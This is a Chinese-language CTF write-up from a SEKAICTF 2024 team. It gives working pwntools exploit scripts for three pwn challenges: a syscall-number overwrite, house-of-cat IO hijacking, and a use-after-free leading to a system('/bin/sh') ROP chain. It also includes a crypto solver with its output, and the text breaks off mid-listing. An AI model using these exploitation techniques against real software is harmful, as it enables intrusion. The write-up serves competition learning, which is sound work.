本次 SEKAICTF 2024,我们Polaris战队排名第55。

排名 队伍 总分
51 dtl 1003
52 ${cystick} 974
53 Kal3 973
54 traP 939
55 Polaris 925
56 h4tum 913
57 Hack@Sec 903
58 Slug Security 877
59 Zer0Tolerance 865
60 Arr3stY0u 861

PWN

nolibc

image-20240824140832308

自己实现的malloc有缺陷,导致我把所有的内存分配得只剩下0x40,然后申请0x3f的时候,造成了溢出,而内存下面相邻的是系统调用号,覆盖后可修改

image-20240824141242439

image-20240824141350670

由于调试发现在load文件的时候,调用了open,可以控制rdi,同时rsi和rdx都是0,正好符合execve(“/bin/sh”,0,0)的要求

image-20240824141305893

image-20240824141140565

exp

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File    :   pwn1.py
@Time    :   2024/08/24 13:11:28
@Author  :   5ma11wh1t3
@Contact :   197489628@qq.com
'''


from pwn import *
# from LibcSearcher import *
context.terminal = ['tmux','splitw','-h']
context.log_level=True
context.arch='amd64'
elf_path = './main'
debug = 1
if debug:
    p = process(elf_path)
    # p = process([elf_path,ld_path],env={'LD_PRELOAD':libc_path})
    # p = process(elf_path,env={'LD_PRELOAD':libc_path})
    # p = process([libc_path,elf_path])
else:
    remote_addr = 'nolibc.chals.sekai.team:1337'
    remote_addr = remote_addr.split(':')
    remote_addr[1] = eval(remote_addr[1])
    # remote('nolibc.chals.sekai.team',1337,ssl=True)
    p=remote(remote_addr[0],remote_addr[1],ssl=True)

# ld_path = ''
# libc_path = ''
# libc = ELF(libc_path)
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def debug():
    gdb.attach(p)
    pause()
def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))
def register(username,password):
    sla(b'Choose an option: ','2')
    sla(b'Username: ',username)
    sla(b'Password: ',password)
def login(username,password):
    sla(b'Choose an option: ','1')
    sla(b'Username: ',username)
    sla(b'Password: ',password)
def exit():
    sla(b'Choose an option: ','3')
def add(size,data):
    sla(b'Choose an option: ','1')
    sla(b'Enter string length: ',str(size))
    sla(b'Enter a string: ',data)
def dele(idx):
    sla(b'Choose an option: ','2')
    sla(b'Enter the index of the string to delete: ',str(idx))
def show():
    sla(b'Choose an option: ','3')
def save(file):
    sla(b'Choose an option: ','4')
    sla(b'Enter the filename: ',file)
def load(file):
    sla(b'Choose an option: ','5')
    sla(b'Enter the filename: ',file)
def logout():
    sla(b'Choose an option: ','6')
if __name__ == '__main__':
    register("admin","123")
    login("admin","123")

    for i in range(0xaa):
        add(0x100, str(i).encode())
    # debug()
    add(0x3f, b'\0' * 0x30 + p32(0) + p32(1)+p32(59)+p32(3))
    debug()
    dele(0)
    load("/bin/sh")

    p.interactive()

speedpwn

根据程序特性泄漏 libc 地址,然后使用 house of cat 完成利用。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

def fight_bot(bit:bool):
    sh.sendlineafter(b'> ', b'f')
    sh.recvuntil(b'Bot plays ')
    value = int(sh.recvuntil(b'!', drop=True))
    if bit:
        sh.sendlineafter(b': ', b'-1')
    else:
        sh.sendlineafter(b': ', b'0')

def write_bit(value:int, bit_num:int):
    for i in range(bit_num):
        if value & 1:
            fight_bot(True)
        else:
            fight_bot(False)
        value >>= 1

def write_word(value:int):
    write_bit(value, 64)

def reseed():
    sh.sendlineafter(b'> ', b'r')

def judge(value:int) -> bool:
    sh.sendlineafter(b'> ', b's')
    sh.sendlineafter(b'Bot number: ', b'-')
    sh.sendlineafter(b'Player number: ', str(value).encode())
    sh.recvuntil(b'Simulation result: ')
    result = sh.recvuntil(b'!', drop=True)
    if (result == b'Bot win'):
        return False
    elif (result == b'You win'):
        return True

sh = remote('speedpwn.chals.sekai.team', 1337, ssl=True)

# Stage one -> leak bit number
bit_number_range = 16
bit_number = 32
while bit_number_range:
    value = int('1' * bit_number + '0' * (64-bit_number), 2)
    if judge(value):
        bit_number -= bit_number_range
        bit_number_range //= 2
    else:
        bit_number += bit_number_range
        bit_number_range //= 2

if judge(int('1' * bit_number + '0' * (64-bit_number), 2)) == True:
    bit_number -= 1

success('bit_number: ' + str(bit_number))

# Stage two -> leak libc
leak_addr = 0x7000000005c2
start_bit = 12

need_leak_bit = bit_number - bin(leak_addr).count('1')

while need_leak_bit:
    if judge((int('1' * (need_leak_bit) + '0', 2) << start_bit) + leak_addr):
        start_bit += 1 # 0 Bit
    else:
        leak_addr += (1 << start_bit)
        start_bit += 1 # 1 Bit
        need_leak_bit -= 1

libc_addr = leak_addr - 0x955c2
success('libc_addr: ' + hex(libc_addr))

# Stage three -> Hijack IO
payload = flat({0:p16(0x8080) + b';sh\0', 0x10:p64(0x404088), 0x18:p64(1), 0x20:p64(2), 0xc0:p64(1), 0xa0:p64(0x404088), 0xd8:p64(libc_addr+0x202228+8), 0xe0:p64(0x404158), 0xe8:p64(libc_addr + 0x58740)}, filler=b'\0', length=0xf0)

while payload:
    tmp = payload[:8]
    write_word(u64(tmp))
    payload = payload[8:]

reseed()

sh.interactive()

Life Simulator 2

漏洞1:在 sell_company 函数中,当公司经费为0时,可以被强行出售。此时 company 和 project 都被 free 了,但是 worker 没有被释放,从而导致 UAF漏洞。

漏洞2:在 generate_profit 函数中,当 this->number_of_workers() 是个很大的数时, pow 函数将计算出一个非常大的值,从而使得 generate_profit 函数的返回值溢出,最终使 generate_profit 函数返回 0 。

uint64_t Project::generate_profit() {
    return this->profit_per_week * std::pow((long double)PROFIT_RATIO, this->number_of_workers());
}

void Company::elapse_week() {
    uint64_t total_profit = 0;
    for(auto it : this->projects) {
        total_profit += it->generate_profit() - it->worker_pay();
    }
    this->company_budget += total_profit;
    this->company_age += 1;
}

void sell_company(std::istringstream& iss) {
    std::string company_name = "";
    iss >> company_name;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Company *company_to_remove = nullptr;
    for(auto it : companies) {
        if(it->get_company_name() == company_name) {
            company_to_remove = it;
            break;
        }
    }
    if(company_to_remove == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {
        std::cerr << "ERR: Not Allowed" << std::endl;
        return;
    }
    total_net_worth += company_to_remove->get_company_budget();
    companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
    company_to_remove->remove_projects();
    delete company_to_remove;
    std::cerr << "INFO: Success" << std::endl;
    return;
}

综上所述,当申请很多 worker 之后,调用 elapse_week 时,因为利润的结果溢出,其结果始终为0,同时 elapse_week 还会减去每个 worker 的 salary,因此可以通过构造 worker 数量使得 company_budget 为 0,从而为之后 UAF 漏洞创造条件。

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def add_company(company_name:bytes, company_budget:int):
    sh.sendline(b'add_company ' + company_name + b' ' + str(company_budget).encode())
    sh.recvuntil(b'INFO: Success')

def sell_company(company_name:bytes):
    sh.sendline(b'sell_company ' + company_name)
    sh.recvuntil(b'INFO: Success')

def add_project(company_name:bytes, project_name:bytes, project_profit_per_week:int):
    sh.sendline(b'add_project ' + company_name + b' ' + project_name + b' ' + str(project_profit_per_week).encode())
    sh.recvuntil(b'INFO: Success')

def remove_project(company_name:bytes, project_name:bytes):
    sh.sendline(b'remove_project ' + company_name + b' ' + project_name)
    sh.recvuntil(b'INFO: Success')

def hire_worker(company_name:bytes, project_name:bytes, worker_name:bytes, salary:int):
    sh.sendline(b'hire_worker ' + company_name + b' ' + project_name + b' ' + worker_name + b' ' + str(salary).encode())
    sh.recvuntil(b'INFO: Success')

def fire_worker(worker_name:bytes):
    sh.sendline(b'fire_worker ' + worker_name)
    sh.recvuntil(b'INFO: Success')

def move_worker(worker_name:bytes, project_name:bytes):
    sh.sendline(b'move_worker ' + worker_name + b' ' + project_name)
    sh.recvuntil(b'INFO: Success')

def worker_info(worker_name:bytes):
    sh.sendline(b'worker_info ' + worker_name)

def elapse_week():
    sh.sendline(b'elapse_week')

sh = remote('life-simulator-2.chals.sekai.team', 1337, ssl=True)

add_company(b'xmcve', 1000)
add_project(b'xmcve', b'p1', 1000000)
for i in range(40):
    hire_worker(b'xmcve', b'p1', b'w' + str(i).encode(), 25)
elapse_week() # Turn company->company_budget to 0
sell_company(b'xmcve')

add_company(b'padding', 1000)
add_company(b'xmcve', 1000)

add_company(cyclic(0x400), 1000)
sell_company(cyclic(0x400))
add_company(b'c0', 1000)
add_company(b'c1', 1000)
add_company(b'c2', 1000)
add_company(b'c3', 1000)
add_company(b'c4', 1000)
add_project(b'c0', b'p0', 1000000)
add_project(b'c1', b'p1', 1000000)
add_project(b'c2', b'p2', 1000000)
add_project(b'c3', b'p3', 1000000)
add_project(b'c4', b'p4', 1000000)
add_company(b'c5', 1000)
hire_worker(b'c0', b'p0', b'c0', 25)
hire_worker(b'c1', b'p1', b'c1', 25)
add_project(b'c5', b'p5', 1000000)

add_project(b'xmcve', b'p0', 1000000)
add_company(cyclic(0x400), 1000)
sell_company(cyclic(0x400))

worker_info(b'w0')

sh.recvuntil(b'Company name: ')
heap_addr = u64(sh.recvn(8)) - 0x165f0

success('heap_addr: ' + hex(heap_addr))
sh.recvn(8)
libc_addr = u64(sh.recvn(8)) - 0x203b30
success('libc_addr: ' + hex(libc_addr))

hire_worker(b'c0', b'p0', b'e' *0xe, 25)
sell_company(b'xmcve')
sell_company(b'c5')

hire_worker(b'c0', b'p0', p64(libc_addr + 0x20ad58) + p64(8) + b'f' *0x28, 25)
hire_worker(b'c2', b'p2', b'c2', 25)
hire_worker(b'c3', b'p3', b'c3', 25)
hire_worker(b'c3', b'p3', b'c33', 25)
worker_info(b'w0')

sh.recvuntil(b'Project name: ')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

fire_worker(p64(libc_addr + 0x20ad58) + p64(8) + b'f' *0x28)
hire_worker(b'c0', b'p0', p64(libc_addr + 0x20ad58) + p64(8) + b'g' *0x28, 25)

fake_company = flat({
    0x30:p64(heap_addr+0x15970), 0x38:p64(heap_addr+0x15978), 0x40:p64(heap_addr+0x15978), # vector
}, filler=b'\0', length=0x48)

fake_company_vector_content = flat([heap_addr+0x15980])

fake_project = flat({
    0x0:p64(heap_addr+0x15990), 0x8:p64(4), 0x10:b'abcd'.ljust(0x10, b'\0'), # string
    0x28:p64(heap_addr+0x10), 0x30:p64(heap_addr+0x10), 0x38:p64(heap_addr+0x10), # vector
}, filler=b'\0', length=0x48)

hire_worker(b'c0', b'p0', flat({0x0: fake_company[0x18:], 0x40:fake_company_vector_content, 0x50:fake_project}, filler=b'\0', length=0x400), 25)

move_worker(b'w0', b'abcd') # free heap_addr+0x10 --> tcache pthread

sh.sendline(flat({0x19*2:1, 40*2+0x1f*8:p64(stack_addr-0x4f8)}, filler=b'\0', length=0x280))

sh.sendline(flat(
[
    0,
    libc_addr + 0x000000000002882f, # ret
    libc_addr + 0x000000000010f75b, # pop rdi; ret;
    libc_addr + 0x1cb42f, # "/bin/sh"
    libc_addr + 0x58740, # system
], filler=b'\0', length=0x1a0))

sh.interactive()

Crypto

some trick

import random
from secrets import randbelow, randbits
from flag import FLAG

CIPHER_SUITE = randbelow(2**256)
print(f"oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}")
random.seed(CIPHER_SUITE)

GSIZE = 8209
GNUM = 79

LIM = GSIZE**GNUM


def gen(n):
    p, i = [0] * n, 0
    for j in random.sample(range(1, n), n - 1):
        p[i], i = j, j
    return tuple(p)


def gexp(g, e):
    res = tuple(g)
    while e:
        if e & 1:
            res = tuple(res[i] for i in g)
        e >>= 1
        g = tuple(g[i] for i in g)
    return res


def enc(k, m, G):
    if not G:
        return m
    mod = len(G[0])
    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod


def inverse(perm):
    res = list(perm)
    for i, v in enumerate(perm):
        res[v] = i
    return res


G = [gen(GSIZE) for i in range(GNUM)]


FLAG = int.from_bytes(FLAG, 'big')
left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
FLAG = (FLAG << left_pad.bit_length()) + left_pad
FLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
        << FLAG.bit_length()) + FLAG

bob_key = randbelow(LIM)
bob_encr = enc(FLAG, bob_key, G)
print("bob says", bob_encr)
alice_key = randbelow(LIM)
alice_encr = enc(bob_encr, alice_key, G)
print("alice says", alice_encr)
bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G])
print("bob says", bob_decr)

分析代码,先看主体干了什么,发现FLAG被填充前后都被填充了,然后可以很快的发现生成了三段密文,分别是bob_enc,alice_enc,bob_decr,可以看到三段密文都是enc函数生成的,我们去看一下enc函数

def enc(k, m, G):
    if not G:
        return m
    mod = len(G[0])
    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod

观察enc函数,你可以很快的发现首先它是一个递归函数,很明显有一个判断条件,就是当不在G的时候程序停止返回输出,否则他会递归,每次递归的变化如下:
gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod
在这里面可以看到有一个gexp函数,我们去看一下这个函数

def gexp(g, e):
    res = tuple(g)
    while e:
        if e & 1:
            res = tuple(res[i] for i in g)
        e >>= 1
        g = tuple(g[i] for i in g)
    return res

显而易见你不用管这个函数,首先没随机数,根据你输入的g,e规定,这两个你都知道,所以这个就是对逆输入的G进行变换成为一个新的G,其实这个G就是一个排列,也就是S盒

def gen(n):
    p, i = [0] * n, 0
    for j in random.sample(range(1, n), n - 1):
        p[i], i = j, j
    return tuple(p)

然后回到前面的函数你会发现,每次递归需要找到S盒的首行某个值的索引,这里面这个值就是key mod 8209,然后每次递归得到的数据需要乘一下8209在加上S盒索引所对应的值也是就在G中所对应的值,所以我们得到的密文最后会是((((((x*8209)+y)*8209)+y)*8209)+y)……….)*8209+y,所以我们的可以根据这个把每次去到的G里面的值都得到,我们要求的就是他的索引,这个索引在enc函数是key mod 8209得到的,所以我们可以反推回去得到key,这里面有个比较关键的地方我们传入的第一个数据必须要是已知明文这样我们才能找key因为明文限制了S盒的生成
使用G值的脚本

def key_mod_8029(res):
    s=[]
    while (res):
        s.append(res%8209)
        res//=8209
    return s

这时候我们只需要稍微修改一下enc脚本使其变成最后加起来的东西只有这些索引就好了,不过要注意的是不要让索引值+在递归函数前面要不然根据运算规则会先从左到右+导致数据加多了去寻找索引就出现问题,数据就有问题了

def dec(k, res, G):
    if not G:
        return [0]
    mod = len(G[0])
    return dec(k // mod, res[1:], G[1:])+[gexp(G[0], k % mod).index(res[0])]

然后就是恢复key,根据前面所说的规则生成

def key_replay(res):
    a=0
    for i in res:
        a=a*8209+i
    return a

然后我们就能找到alice_key,然后我们去看bob_key,前面也说了需要知道前面的已知明文所以只能用bob_decr去解密
然后就知道两个key,那我们去恢复明文,这下子我们知道了key,那我们传入bob_key的话因为整体不是很大8209,我们就可以爆破一下匹配传入每次在gen函数取余传入的明文是多少

def dec1(res,key,G):
    a=[]
    if not G:
        return [0]
    for i in range(8209):
        if gexp(G[0],i)[key%8209]==res[0]:
            print(i)
            a.append(i)
    return dec1(res[1:],key//8209 ,G[1:])

然后用key_replay函数恢复一下就好了,不过注意下这边得到的数组需要逆向相加,因为我没递归直接返回值,而是生成一个数组,因为知道FLAG是前后有随机数中间可能会有flag在然后爆破一下找低位看到了很像flag的玩意

27887110439548179837945284065479407005671984418227744307030297585766676421518051725820730881303094307602205264926431534545591400990734997978646260585798939930398586856703150064008768662739131299115425991133646456082485455073198522787353032367591607142340524576787860298767828999348122114
b"\xbb\x89\x8b\x18\xc9\x7f\xff\xab8\xe7^V\x93MXO\xf6M\xb5;\xf7h\x11\xbd\x9ah\xa9h)/f\xecf&F\x8cf,FL,\xacL\xcc\x87,\xa6\x86g,l&,f\xe6\x86L\x86F\xccG&\xa6\xe6\xe7&F\x8cF\xac&'\x06Fff\xe7\x06\x06G\x0cfl\xac\x86\xa7,\x86\xec,\x87&L\x86/\xb7\xea\x98\x08T\xbf\xa5\xb4\x8b\xeft\xa8\xde\xdf\x00\xf2\xe9o\xce\xf3\xd1Kr\x02"
b"\xbb\x89\x8b\x18\xc9\x7f\xff\xab8\xe7^V\x93MXO\xf6M\xb5;\xf7h\x11\xbd\x9ah\xa9h)/f\xecf&F\x8cf,FL,\xacL\xcc\x87,\xa6\x86g,l&,f\xe6\x86L\x86F\xccG&\xa6\xe6\xe7&F\x8cF\xac&'\x06Fff\xe7\x06\x06G\x0cfl\xac\x86\xa7,\x86\xec,\x87&L\x86/\xb7\xea\x98\x08T\xbf\xa5\xb4\x8b\xeft\xa8\xde\xdf\x00\xf2\xe9o\xce\xf3\xd1Kr\x02"
b"]\xc4\xc5\x8cd\xbf\xff\xd5\x9cs\xaf+I\xa6\xac'\xfb&\xda\x9d\xfb\xb4\x08\xde\xcd4T\xb4\x14\x97\xb3v3\x13#F3\x16#&\x16V&fC\x96SC3\x966\x13\x163sC&C#f#\x93Sss\x93#F#V\x13\x13\x83#33s\x83\x03#\x8636VCS\x96Cv\x16C\x93&C\x17\xdb\xf5L\x04*_\xd2\xdaE\xf7\xbaToo\x80yt\xb7\xe7y\xe8\xa5\xb9\x01"
b'.\xe2b\xc62_\xff\xea\xce9\xd7\x95\xa4\xd3V\x13\xfd\x93mN\xfd\xda\x04of\x9a*Z\nK\xd9\xbb\x19\x89\x91\xa3\x19\x8b\x11\x93\x0b+\x133!\xcb)\xa1\x99\xcb\x1b\t\x8b\x19\xb9\xa1\x93!\x91\xb3\x11\xc9\xa9\xb9\xb9\xc9\x91\xa3\x11\xab\t\x89\xc1\x91\x99\x99\xb9\xc1\x81\x91\xc3\x19\x9b+!\xa9\xcb!\xbb\x0b!\xc9\x93!\x8b\xed\xfa\xa6\x02\x15/\xe9m"\xfb\xdd*7\xb7\xc0<\xba[\xf3\xbc\xf4R\xdc\x80'
b'\x17q1c\x19/\xff\xf5g\x1c\xeb\xca\xd2i\xab\t\xfe\xc9\xb6\xa7~\xed\x027\xb3M\x15-\x05%\xec\xdd\x8c\xc4\xc8\xd1\x8c\xc5\x88\xc9\x85\x95\x89\x99\x90\xe5\x94\xd0\xcc\xe5\x8d\x84\xc5\x8c\xdc\xd0\xc9\x90\xc8\xd9\x88\xe4\xd4\xdc\xdc\xe4\xc8\xd1\x88\xd5\x84\xc4\xe0\xc8\xcc\xcc\xdc\xe0\xc0\xc8\xe1\x8c\xcd\x95\x90\xd4\xe5\x90\xdd\x85\x90\xe4\xc9\x90\xc5\xf6\xfdS\x01\n\x97\xf4\xb6\x91}\xee\x95\x1b\xdb\xe0\x1e]-\xf9\xdez)n@'
b'\x0b\xb8\x98\xb1\x8c\x97\xff\xfa\xb3\x8eu\xe5i4\xd5\x84\xffd\xdbS\xbfv\x81\x1b\xd9\xa6\x8a\x96\x82\x92\xf6n\xc6bdh\xc6b\xc4d\xc2\xca\xc4\xcc\xc8r\xcahfr\xc6\xc2b\xc6nhd\xc8dl\xc4rjnnrdh\xc4j\xc2bpdffnp`dp\xc6f\xca\xc8jr\xc8n\xc2\xc8rd\xc8b\xfb~\xa9\x80\x85K\xfa[H\xbe\xf7J\x8d\xed\xf0\x0f.\x96\xfc\xef=\x14\xb7 '
b'\x05\xdcLX\xc6K\xff\xfdY\xc7:\xf2\xb4\x9aj\xc2\x7f\xb2m\xa9\xdf\xbb@\x8d\xec\xd3EKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}\xbfT\xc0B\xa5\xfd-\xa4_{\xa5F\xf6\xf8\x07\x97K~w\x9e\x8a[\x90'
b'\x02\xee&,c%\xff\xfe\xac\xe3\x9dyZM5a?\xd96\xd4\xef\xdd\xa0F\xf6i\xa2\xa5\xa0\xa4\xbd\x9b\xb1\x98\x99\x1a1\x98\xb1\x190\xb2\xb132\x1c\xb2\x9a\x19\x9c\xb1\xb0\x98\xb1\x9b\x9a\x192\x19\x1b1\x1c\x9a\x9b\x9b\x9c\x99\x1a1\x1a\xb0\x98\x9c\x19\x19\x99\x9b\x9c\x18\x19\x1c1\x99\xb2\xb2\x1a\x9c\xb2\x1b\xb0\xb2\x1c\x992\x18\xbe\xdf\xaa`!R\xfe\x96\xd2/\xbd\xd2\xa3{|\x03\xcb\xa5\xbf;\xcfE-\xc8'
b'\x01w\x13\x161\x92\xff\xffVq\xce\xbc\xad&\x9a\xb0\x9f\xec\x9bjw\xee\xd0#{4\xd1R\xd0R^\xcd\xd8\xccL\x8d\x18\xccX\x8c\x98YX\x99\x99\x0eYM\x0c\xceX\xd8LX\xcd\xcd\x0c\x99\x0c\x8d\x98\x8eMM\xcd\xceL\x8d\x18\x8dXLN\x0c\x8c\xcc\xcd\xce\x0c\x0c\x8e\x18\xcc\xd9Y\rNY\r\xd8Y\x0eL\x99\x0c_o\xd50\x10\xa9\x7fKi\x17\xde\xe9Q\xbd\xbe\x01\xe5\xd2\xdf\x9d\xe7\xa2\x96\xe4'
b"\xbb\x89\x8b\x18\xc9\x7f\xff\xab8\xe7^V\x93MXO\xf6M\xb5;\xf7h\x11\xbd\x9ah\xa9h)/f\xecf&F\x8cf,FL,\xacL\xcc\x87,\xa6\x86g,l&,f\xe6\x86L\x86F\xccG&\xa6\xe6\xe7&F\x8cF\xac&'\x06Fff\xe7\x06\x06G\x0cfl\xac\x86\xa7,\x86\xec,\x87&L\x86/\xb7\xea\x98\x08T\xbf\xa5\xb4\x8b\xeft\xa8\xde\xdf\x00\xf2\xe9o\xce\xf3\xd1Kr"
b"]\xc4\xc5\x8cd\xbf\xff\xd5\x9cs\xaf+I\xa6\xac'\xfb&\xda\x9d\xfb\xb4\x08\xde\xcd4T\xb4\x14\x97\xb3v3\x13#F3\x16#&\x16V&fC\x96SC3\x966\x13\x163sC&C#f#\x93Sss\x93#F#V\x13\x13\x83#33s\x83\x03#\x8636VCS\x96Cv\x16C\x93&C\x17\xdb\xf5L\x04*_\xd2\xdaE\xf7\xbaToo\x80yt\xb7\xe7y\xe8\xa5\xb9"
b'.\xe2b\xc62_\xff\xea\xce9\xd7\x95\xa4\xd3V\x13\xfd\x93mN\xfd\xda\x04of\x9a*Z\nK\xd9\xbb\x19\x89\x91\xa3\x19\x8b\x11\x93\x0b+\x133!\xcb)\xa1\x99\xcb\x1b\t\x8b\x19\xb9\xa1\x93!\x91\xb3\x11\xc9\xa9\xb9\xb9\xc9\x91\xa3\x11\xab\t\x89\xc1\x91\x99\x99\xb9\xc1\x81\x91\xc3\x19\x9b+!\xa9\xcb!\xbb\x0b!\xc9\x93!\x8b\xed\xfa\xa6\x02\x15/\xe9m"\xfb\xdd*7\xb7\xc0<\xba[\xf3\xbc\xf4R\xdc'
b'\x17q1c\x19/\xff\xf5g\x1c\xeb\xca\xd2i\xab\t\xfe\xc9\xb6\xa7~\xed\x027\xb3M\x15-\x05%\xec\xdd\x8c\xc4\xc8\xd1\x8c\xc5\x88\xc9\x85\x95\x89\x99\x90\xe5\x94\xd0\xcc\xe5\x8d\x84\xc5\x8c\xdc\xd0\xc9\x90\xc8\xd9\x88\xe4\xd4\xdc\xdc\xe4\xc8\xd1\x88\xd5\x84\xc4\xe0\xc8\xcc\xcc\xdc\xe0\xc0\xc8\xe1\x8c\xcd\x95\x90\xd4\xe5\x90\xdd\x85\x90\xe4\xc9\x90\xc5\xf6\xfdS\x01\n\x97\xf4\xb6\x91}\xee\x95\x1b\xdb\xe0\x1e]-\xf9\xdez)n'
b'\x0b\xb8\x98\xb1\x8c\x97\xff\xfa\xb3\x8eu\xe5i4\xd5\x84\xffd\xdbS\xbfv\x81\x1b\xd9\xa6\x8a\x96\x82\x92\xf6n\xc6bdh\xc6b\xc4d\xc2\xca\xc4\xcc\xc8r\xcahfr\xc6\xc2b\xc6nhd\xc8dl\xc4rjnnrdh\xc4j\xc2bpdffnp`dp\xc6f\xca\xc8jr\xc8n\xc2\xc8rd\xc8b\xfb~\xa9\x80\x85K\xfa[H\xbe\xf7J\x8d\xed\xf0\x0f.\x96\xfc\xef=\x14\xb7'
b'\x05\xdcLX\xc6K\xff\xfdY\xc7:\xf2\xb4\x9aj\xc2\x7f\xb2m\xa9\xdf\xbb@\x8d\xec\xd3EKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}\xbfT\xc0B\xa5\xfd-\xa4_{\xa5F\xf6\xf8\x07\x97K~w\x9e\x8a['
b'\x02\xee&,c%\xff\xfe\xac\xe3\x9dyZM5a?\xd96\xd4\xef\xdd\xa0F\xf6i\xa2\xa5\xa0\xa4\xbd\x9b\xb1\x98\x99\x1a1\x98\xb1\x190\xb2\xb132\x1c\xb2\x9a\x19\x9c\xb1\xb0\x98\xb1\x9b\x9a\x192\x19\x1b1\x1c\x9a\x9b\x9b\x9c\x99\x1a1\x1a\xb0\x98\x9c\x19\x19\x99\x9b\x9c\x18\x19\x1c1\x99\xb2\xb2\x1a\x9c\xb2\x1b\xb0\xb2\x1c\x992\x18\xbe\xdf\xaa`!R\xfe\x96\xd2/\xbd\xd2\xa3{|\x03\xcb\xa5\xbf;\xcfE-'
b'\x01w\x13\x161\x92\xff\xffVq\xce\xbc\xad&\x9a\xb0\x9f\xec\x9bjw\xee\xd0#{4\xd1R\xd0R^\xcd\xd8\xccL\x8d\x18\xccX\x8c\x98YX\x99\x99\x0eYM\x0c\xceX\xd8LX\xcd\xcd\x0c\x99\x0c\x8d\x98\x8eMM\xcd\xceL\x8d\x18\x8dXLN\x0c\x8c\xcc\xcd\xce\x0c\x0c\x8e\x18\xcc\xd9Y\rNY\r\xd8Y\x0eL\x99\x0c_o\xd50\x10\xa9\x7fKi\x17\xde\xe9Q\xbd\xbe\x01\xe5\xd2\xdf\x9d\xe7\xa2\x96'
b"\xbb\x89\x8b\x18\xc9\x7f\xff\xab8\xe7^V\x93MXO\xf6M\xb5;\xf7h\x11\xbd\x9ah\xa9h)/f\xecf&F\x8cf,FL,\xacL\xcc\x87,\xa6\x86g,l&,f\xe6\x86L\x86F\xccG&\xa6\xe6\xe7&F\x8cF\xac&'\x06Fff\xe7\x06\x06G\x0cfl\xac\x86\xa7,\x86\xec,\x87&L\x86/\xb7\xea\x98\x08T\xbf\xa5\xb4\x8b\xeft\xa8\xde\xdf\x00\xf2\xe9o\xce\xf3\xd1K"
b"]\xc4\xc5\x8cd\xbf\xff\xd5\x9cs\xaf+I\xa6\xac'\xfb&\xda\x9d\xfb\xb4\x08\xde\xcd4T\xb4\x14\x97\xb3v3\x13#F3\x16#&\x16V&fC\x96SC3\x966\x13\x163sC&C#f#\x93Sss\x93#F#V\x13\x13\x83#33s\x83\x03#\x8636VCS\x96Cv\x16C\x93&C\x17\xdb\xf5L\x04*_\xd2\xdaE\xf7\xbaToo\x80yt\xb7\xe7y\xe8\xa5"
b'.\xe2b\xc62_\xff\xea\xce9\xd7\x95\xa4\xd3V\x13\xfd\x93mN\xfd\xda\x04of\x9a*Z\nK\xd9\xbb\x19\x89\x91\xa3\x19\x8b\x11\x93\x0b+\x133!\xcb)\xa1\x99\xcb\x1b\t\x8b\x19\xb9\xa1\x93!\x91\xb3\x11\xc9\xa9\xb9\xb9\xc9\x91\xa3\x11\xab\t\x89\xc1\x91\x99\x99\xb9\xc1\x81\x91\xc3\x19\x9b+!\xa9\xcb!\xbb\x0b!\xc9\x93!\x8b\xed\xfa\xa6\x02\x15/\xe9m"\xfb\xdd*7\xb7\xc0<\xba[\xf3\xbc\xf4R'
b'\x17q1c\x19/\xff\xf5g\x1c\xeb\xca\xd2i\xab\t\xfe\xc9\xb6\xa7~\xed\x027\xb3M\x15-\x05%\xec\xdd\x8c\xc4\xc8\xd1\x8c\xc5\x88\xc9\x85\x95\x89\x99\x90\xe5\x94\xd0\xcc\xe5\x8d\x84\xc5\x8c\xdc\xd0\xc9\x90\xc8\xd9\x88\xe4\xd4\xdc\xdc\xe4\xc8\xd1\x88\xd5\x84\xc4\xe0\xc8\xcc\xcc\xdc\xe0\xc0\xc8\xe1\x8c\xcd\x95\x90\xd4\xe5\x90\xdd\x85\x90\xe4\xc9\x90\xc5\xf6\xfdS\x01\n\x97\xf4\xb6\x91}\xee\x95\x1b\xdb\xe0\x1e]-\xf9\xdez)'

进程已结束,退出代码0

完整exp

import random
from secrets import randbelow, randbits
from Cryptodome.Util.number import *

CIPHER_SUITE =5856735718192672966225212630546045665679020834917236661169743409360745081692
b1 =934535015385784972098018441829301227888268300482554572889937663972835689477317906590269550483816058279675056740632836110427165342116825918458562882459952965524045087097428340305468008069307089535207656651490741013829130388943184449967876591696491662942908809195857190028729699667883172408778919813286215678587

a1 =1200023343219513263382590595000530709398044680494887232151068706332454900457993992785528158990834544878450058108341045830600802696148032561205251770283666006973167393948548197072049425715808993347674584378538883200268601390915839644385525216204736891481357328537881870321049952052453132654798693784947466776387

b2 =1272441200473454987001701625665347128998267676768270586334850447786321082063417203439895347670890554611411858488237562330644466912578982684875984076535384996939506416271097344882332314135242565253987938022938597663163369675849841691494448925864719322424546037485802787986584090093449519504693373904532207187504

'''
bob says 934535015385784972098018441829301227888268300482554572889937663972835689477317906590269550483816058279675056740632836110427165342116825918458562882459952965524045087097428340305468008069307089535207656651490741013829130388943184449967876591696491662942908809195857190028729699667883172408778919813286215678587
